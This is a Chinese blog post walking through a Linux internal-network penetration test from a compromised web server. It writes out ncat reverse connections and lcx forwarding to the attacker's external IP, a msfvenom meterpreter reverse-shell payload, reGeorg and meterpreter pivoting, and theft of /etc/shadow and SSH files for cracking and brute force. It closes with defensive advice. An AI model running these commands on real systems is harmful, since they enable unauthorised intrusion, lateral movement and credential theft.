【玩轉linux系統】Linux內網滲透

來自nMask博客:【玩轉linux系統】Linux內網滲透

  前段時間做了一次不算成功也不算完整的linux內網滲透,不算成功是因為並沒有拿下內網中其他伺服器的許可權,不算完整是因為由於某些原因測試被迫暫時中止。雖然這次linux內網滲透不算是一個很好的教學案例,但我還是決定把過程記錄一下,尤其重點記錄linux內網滲透的思路,以防遺忘。

  網上關於內網滲透的資料很多,我在做測試之前也是翻閱了很多資料。本篇標題突出linux,是因為本次測試不涉及windows系統,當然linux與windows內網滲透的原理差不多,只不過使用的工具有所區別。

收集測試網路環境

  當我們拿到一台目標內網伺服器,或者說肉雞伺服器,首先要做的就是收集信息。而在我看來需要收集的信息中,最重要的之一便是肉雞的網路環境。

實驗環境

首先介紹下本次測試的伺服器環境:

攻擊機Mac:110.xx.xx.xx 外網

肉雞centos:192.168.16.x 目標內網16網段系統

內網滲透範圍:192.168.17.0/24 目標內網17網段系統

本次測試模擬假設:由於肉雞伺服器上對外開放了存在漏洞的web應用,被入侵植入webshell。

本次測試目的:通過肉雞伺服器上的shell,深入滲透內網17網段的伺服器。

收集測試哪些網路數據?

  ok,目前我已經擁有了肉雞的shell,那麼該收集肉雞伺服器的哪些網路環境呢?又該如何去測試?我認為至少要收集以下幾點網路環境信息:

肉雞伺服器與外網的連通性

肉雞伺服器與內網其他網段的連通性

肉雞伺服器與外網之間是否有埠訪問限制

肉雞伺服器與內網其他網段之間是否有埠訪問限制

註:連通性主要是指能否ping通,需要雙方互相ping測試;埠訪問限制,指的是目標網路邊界是否有堡壘機或者防火牆,對進出的埠是否有做限制。

埠訪問限制測試

ping測試這裡不介紹了,主要說下如何測試埠訪問限制,可以使用的工具如下:

curl、wget(可連接web服務,主要為80、443、8000+埠)

telnet(可主動連接指定ip的指定port)

nmap(可掃描埠,open或者filter)

ncat(可以創建埠監聽,也可以主動連接)

python(可主動創建埠監聽)

……

在測試埠訪問限制前,我們先要搞清楚當前的網路環境。本次測試中,攻擊機在外網而肉雞在內網,因此正常情況下攻擊機是無法直接訪問到肉雞上某個埠的(需要網路邊界路由器做埠映射)。

反向連接測試

我們在測試埠訪問限制時,首先可以利用ncat在攻擊機上監聽一個埠。

ncat -l -p 9999

然後利用ncat或者telnet等工具在肉雞上嘗試連接,我稱之為反向連接測試。

ncat 110.xx.xx.xx 9999

註:監聽的埠可以隨機選取,盡量選取多個埠嘗試多次;如果肉雞能夠訪問攻擊機的任何埠,說明目標網路邊界沒有對出方向的連接做限制,了解這方面的信息對後面的埠轉發有很大好處。

正向連接測試

  我們也可以在肉雞上監聽一個埠,攻擊機上嘗試連接(這裡連接的是肉雞的外網ip地址,肉雞對外開放的web應用肯定是以一個外網ip或者域名的形式存在,而該ip在本次測試中並不是肉雞真正的ip地址,是目標邊界網路設備的ip,原理是通過埠映射將網路設備(外網ip)上的web埠映射到了肉雞(內網ip)的web埠上),我稱之為正向連接測試。

  嘗試連接肉雞外網地址的埠,意義在於有些粗心的管理員會在網路設備上設置全埠映射,也就是說肉雞上監聽任何埠都能映射到網路邊界設備的相同埠上,那麼這跟肉雞伺服器直接處在外網就沒差了。

收集伺服器信息

收集信息可以說是滲透測試的第一步,內網滲透也一樣,收集的伺服器信息越多,滲透的成功率就越大。

查看系統內核

linux系統上查看內核版本如下:

lsb_release –a

  一般系統的入侵途徑是先提權,而提權可以通過linux內核漏洞進行,因此可以先查看linux內核版本,然後根據內核尋找exp的網站,上傳exp進行提權。由於本次測試不涉及提權部分,因此不做測試,另外補充一句:內核提權有宕機風險,請謹慎操作。

查看操作系統位數

linux系統上查看位數如下:

getconf LONG_BIT

說明:知道系統是32位還是64位對後期生成msf木馬有幫助。

系統敏感信息

收集一些系統相關的敏感信息,比如賬號密碼、日誌、歷史命令、ssh文件等。

/etc/shadown/etc/passwdn/var/lognhistoryn.sshn......n

web敏感信息

如果伺服器存在web應用,可以查看web目錄下是否存在敏感信息,比如連接資料庫的配置文件等等。

內網掃描

  當信息收集完成後,可以嘗試掃描一下內網的機器,比如主機存活掃描、埠掃描、arp掃描等。埠掃描可以使用nmap、msf等工具,但如果伺服器上沒有安裝這些工具時,通常有3種手段可以達到內網埠掃描的效果。第一種就是伺服器上安裝掃描工具,這裡不多說也不推薦,因為動靜大且麻煩(當然可以上傳python掃描埠的腳本,不需要編譯安裝,比較方便。);第二種就是埠轉發,將伺服器內網埠轉發到外網進行掃描;第三種就是代理掃描,也就是把裝有掃描工具的攻擊機代理到目標內網環境。

  無論是埠轉發掃描還是代理掃描,原理都是打通攻擊機(外網)與肉雞(內網)的連通性,即讓攻擊機可以直接訪問到肉雞所在的內網資源。這裡的連接不藉助於目標網路邊界設備的埠映射功能,因此與攻擊機訪問肉雞web服務所產生的連接有所區別。

埠轉發

  想要達到以上所介紹的彼此」直接」的連接,我們需要一個中間的橋樑,來傳遞內外網(攻擊機與肉雞)之間的數據。搭建這種橋樑的方式有很多,我們首先可以想到埠轉發,即把肉雞伺服器上的某個埠轉發到攻擊機的某個埠上,這樣攻擊機上訪問本機某個埠,就相當於訪問了肉雞伺服器上的某個埠。

埠轉發的工具:lcx、meterpreter等,具體用法後面會介紹

埠轉發類型:tcp埠轉發、http轉發、ssh轉發等

tcp埠轉發

本機轉發:攻擊機上監聽2222、3333埠,肉雞上連接攻擊機的2222埠,並轉發肉雞22埠。

轉發連接原理:

肉雞22埠<-->肉雞隨機高埠<-->肉雞隨機高埠<-->攻擊機上2222高埠<-->攻擊機隨機高埠<-->攻擊機3333埠

註:此時我們去連接攻擊機的3333埠,就相當於連接了肉雞的22埠。

遠程轉發:攻擊機上監聽2222、3333埠,肉雞上連接攻擊機的2222埠,並轉發內網目標伺服器的22埠。(前提是肉雞能夠連接目標伺服器的22埠)

轉發連接原理:

內網目標伺服器22埠<-->肉雞隨機高埠<-->肉雞隨機高埠<-->攻擊機上2222高埠<-->攻擊機隨機高埠<-->攻擊機3333埠

註:此時我們去連接攻擊機的3333埠,就相當於連接了目標伺服器的22埠。

說明:從上面的連接過程不難看出,埠轉發比較難以防範的原因就在於,攻擊機上監聽的埠是隨機的,不可預知的,因此不可能事先在堡壘機或者防火牆上做出方向的埠策略,除非禁止伺服器訪問外部所有埠(現實情況大多隻對進方向的埠連接做限制)。

http轉發

  有些安全意思強的管理員,會對一些伺服器做禁止訪問外網的策略,即伺服器禁止連接任何外網的埠。此時普通的tcp埠轉發就沒有效果了,因為轉發的前提是要能互相連接上。此種情況,可以使用http轉發。

轉發連接原理:

肉雞web埠(80)<-->網路邊界設備埠(80)<-->攻擊機隨機埠

註:這裡之所以能夠連通,是藉助了伺服器上的web服務,以及網路邊界設備的映射功能。

說明:雖然肉雞不能訪問外網任何埠,但只要它對外提供web服務,就說明它還能跟外界通信,只不過這種通信局限於web服務埠中,並且肉雞不是直接跟攻擊機通信,而是藉助了邊界設備。

代理掃描內網

  以上介紹了幾種埠轉發的使用以及原理,從中我們不難看出埠轉發固然厲害,但也很局限,因為每次都只能轉發一個ip的一個埠,對於掃描來說,並不是最好的選擇方案。因此出現了一種更好的技術方案–代理掃描,其原理與埠轉發差不多,都是需要搭建一個橋樑,而這個橋樑往往不是某個埠,而是shell或者說session。

代理掃描同樣可以分為tcp代理掃描、http代理掃描。

http代理轉發

如果目標伺服器有web系統,可以使用Regeorg + proxychains。

工具下載:reGeorg、proxychains

將reGeorg的tunnel文件上傳到肉雞伺服器到網站目錄下,攻擊機執行:

python reGeorgSocksProxy.py -p 2333 -u test.com/tunnel.php

然後修改proxychains.conf 配置文件

vim /etc/proxychains.conf (mac上在~/.proxychains/proxychains.conf ,沒有則自己創建)

在最後一行添加socks5 127.0.0.1 2333(與regeorg設置的埠相同)

最後在攻擊機使用掃描工具時,可以在執行的命令前加proxhchains4, 比如:

proxychains4 nmap -sT -Pn -n 192.168.16.0/24

註:此方案適合攻擊者與肉雞伺服器都在各自內網環境,攻擊者可以訪問到目標伺服器的http服務,通過該http服務進行代理轉發(速度較慢).

tcp代理轉發

思路:通過metasploit木馬反彈一個肉雞的meterpreter shell到攻擊機上,然後在meterpreter shell上設置路由,我們便可以在攻擊機上直接掃描肉雞所在的網段伺服器(這裡是可以跨網段掃描的)。

(1)生成msf木馬

生成木馬:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=8000 -f elf > shell_8000.elf

由於攻擊機無法訪問肉雞的埠,而肉雞可以訪問攻擊機的埠,因此生成一個反向的木馬。

(2)反彈shell

  攻擊機運行msfconsole,使用exoloit/multi/handler模塊,set payload linux/x86/meterpreter/reverse_tcp跟生成木馬時用的payload一樣。LPORT設置成木馬將要連接的埠,運行後會在攻擊機上監聽一個埠,等待木馬鏈接。

  此時將shell_8000.elf上傳到肉雞伺服器上,添加許可權後運行木馬將會主動連接上攻擊機監聽的埠,並在攻擊機上獲取一個meterpreter shell。

(3)設置路由

上一步獲取到了一個session,這個session是攻擊機與肉雞相互連接的會話。

查看下肉雞的網路情況:

run get_local_subnets

添加路由:

run autoroute -s 192.168.16.0/24

查看路由:

run autoroute –p

一般來說,這裡設置好路由就可以了,但是有些時候會發現在meterpreter中有效果,但是在msf中失效了,因此可以在msf中再設置一次。(但前提是meterpreter會話要一直存在)將該會話放入後台,進入msf中添加路由。

查看路由:

這裡已經是添加好的結果,添加路由命令:

msf exploit(handler) > route add 192.168.16.0 255.255.255.0 12nmsf exploit(handler) > route add 192.168.17.0 255.255.255.0 12n

注意:12表示session id,由於我們需要訪問17網段,因此這裡也要添加17網段的路由。

說明:以上2條路由的意思,是攻擊機如果要去訪問17或者16網段的資源,其下一跳是session12,至於什麼是下一條這裡不多說了,反正就是目前攻擊機可以訪問內網資源了。

轉發連接原理:

攻擊機<-->meterpreter_shell(session)<-->肉雞 # 這裡不是埠的概念,而是路由

tcp全局代理轉發

  通過以上設置,在msf中可以訪問內網資源了,但也僅限在msf中可以訪問。如果想要其他工具也能使用代理,則要設置全局代理,這需要使用msf框架中的socks4a工具代理,目錄:auxiliary/server/socks4a,然後配合Proxychains ,使用方法跟http代理類似。

註:此代理不是http代理,是tcp代理,因此需要目標伺服器或者攻擊者伺服器,有一方在外網的環境,不然木馬埠無法連接,也就無法獲取meterpreter shell。

metasploit操作可參考:【滲透神器系列】Metasploit

埠掃描工具

推薦使用metasploit進行tcp代理轉發後,利用msf上面整合的很多掃描模塊,直接進行掃描。

掃描模塊:

auxiliary/scanner/portscan  埠掃描

scanner/portscan/syn  SYN埠掃描

scanner/portscan/tcp  TCP埠掃描

……

除此之外,也可以使用nmap等掃描工具,結合tcp全局代理轉發即可。

針對22埠的入侵

  掃描出內網伺服器埠後,我們可以首先選擇開放22埠的伺服器進行入侵嘗試。攻擊22埠通常有2種方法,第一種是先讀取肉雞明文密碼,再利用明文密碼嘗試登陸;第二種是字典暴力登陸。

嘗試hash破解

如果許可權足夠,我們可以順利讀取/etc/shadow文件的內容,然而是密文的,因此可以嘗試用工具破解。

John破解hash

Hashcat

註:windows下可以使用mimikatz

說明:獲取linux賬號的明文密碼作用很大,因為內網環境管理員可能就那麼幾個,不同伺服器所設置的密碼也有可能相同,因此可以使用獲取的伺服器密碼去嘗試登陸其餘開放了22埠的內網伺服器。

字典暴力破解

這個沒啥好說的,主要看字典是否強大,以及是否有防止爆破限制。

工具:

hydra

msf上的相應模塊

針對其他埠的入侵

  除了22埠外,21(ftp)、3306(mysql)、1433(mssql)等都可以通過暴力破解的方式。那麼其他段埠呢?比如445、443等,這些則可以通過相應的漏洞進行攻擊,通過可以使用nessus掃描器進行掃描,對發現的漏洞再集合msf上相應的模塊進行攻擊。

針對web服務的入侵

  除了以上的埠外,還有一類埠比較特殊,那就是web服務類的埠,比如80、443、8000+等。由於這些埠上存在web應用,而web應用又是容易存在漏洞的點。因此可以重點尋找內網中存在web服務的伺服器,並依照web滲透測試的流程對其web應用進行滲透。

埠轉發的逆襲

  前文介紹了埠轉發技術,但在掃描環節中我並沒有使用這種方案。那麼是不是說埠轉發在內網滲透中沒有用武之地呢?

  事實並不是這樣,內網掃描過後的漏洞利用攻擊階段,才是埠轉發真正的舞台。在此階段,我們可以利用埠轉發,將某個存在漏洞的伺服器的某個埠轉發出來,單獨攻擊利用。我們可以想到在windows中,利用lcx轉發3389埠,linux下同樣可以轉發22埠,當然更好用的是轉發80埠,達到可以本地訪問內網的web服務,從而繼續web滲透的套路,擴大攻擊面。

meterpreter實現埠轉發

在meterpreter shell中輸入:

meterpreter > portfwd add -l 55555 -r 192.168.16.1 -p 3306n

說明:表示將192.168.16.1伺服器上的3306埠轉發到本地(攻擊機)的55555埠,然後我們可以在本地運行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陸內網伺服器的mysql。其他埠如ssh、ftp等都類似,這個過程跟msf代理很像。

案例

將肉雞的22埠轉發到攻擊機的2222埠,看一下連接情況。

發現攻擊機上監聽了2222埠,連接到了本機其外一個高埠。

肉雞的22埠也連接到了肉雞自己的一個高埠

那麼兩台伺服器之間的兩個高埠之間是怎麼連接的,我想肯定是利用meterpreter會話。因此meterpreter會話就相當於一個中間人,傳遞原本無法傳遞的消息。

lcx埠轉發

攻擊機:

lcx -listen 2222 3333 # 2222為轉發埠,3333為本機任意未被佔用的埠n

肉雞:

lcx -slave 110.1.1.1 2222 127.0.0.1 3389n

110.1.1.1為攻擊機外網ip,2222為轉發埠,127.0.0.1為肉雞內網ip,3389為遠程終端埠 。

內網嗅探

  windows下可以使用cain,linux下可以使用msf中的模塊。當然一般情況下,最好不要用內網嗅探,因為動靜太大,而且可能會影響內網網路。

linux內網安全建議

  說了這麼多內網滲透的套路,按慣例最後該給出內網安全建設的幾點建議了,當然只是個人看法,可以一起留言討論。

每台伺服器上安裝監控軟體,監控並攔截木馬程序的運行(監控木馬文件以及行為)

監控伺服器上開啟的新埠,查看其連接情況,是否有異常連接(監控異常埠)

伺服器及時更新補丁,以及最新系統漏洞補丁(減少漏洞)

伺服器上運行的應用給予低許可權(增加提權的難度)

不必要連接外網的伺服器,禁止連接外網(減少被入侵的風險)

日誌記錄並且實時監控(監控異常操作以及暴力破解行為)

參考文章

使用 MSF 路由轉發實現MSF框架的內網滲透

內網滲透--網路環境的判斷 - 安全客 - 有思想的安全新媒體

Metasploit滲透技巧:後滲透Meterpreter代理 - FreeBuf.COM | 關注黑客與極客

圖解Meterpreter實現網路穿透的方法 - FreeBuf.COM | 關注黑客與極客

傳送門

【玩轉linux系列】Vim使用

【玩轉Linux系列】Linux基礎命令


推薦閱讀:

安全套接層有什麼用?
國內外有哪些漏洞信息發布平台?
QQ 安全令牌為什麼離線的情況下(手機停機)能用,即安全令牌不需要連接網路就能與伺服器同步?
為何網路安全法影響如此巨大沒有得到足夠的關注?

TAG:渗透测试 | 网络安全 | 信息安全 |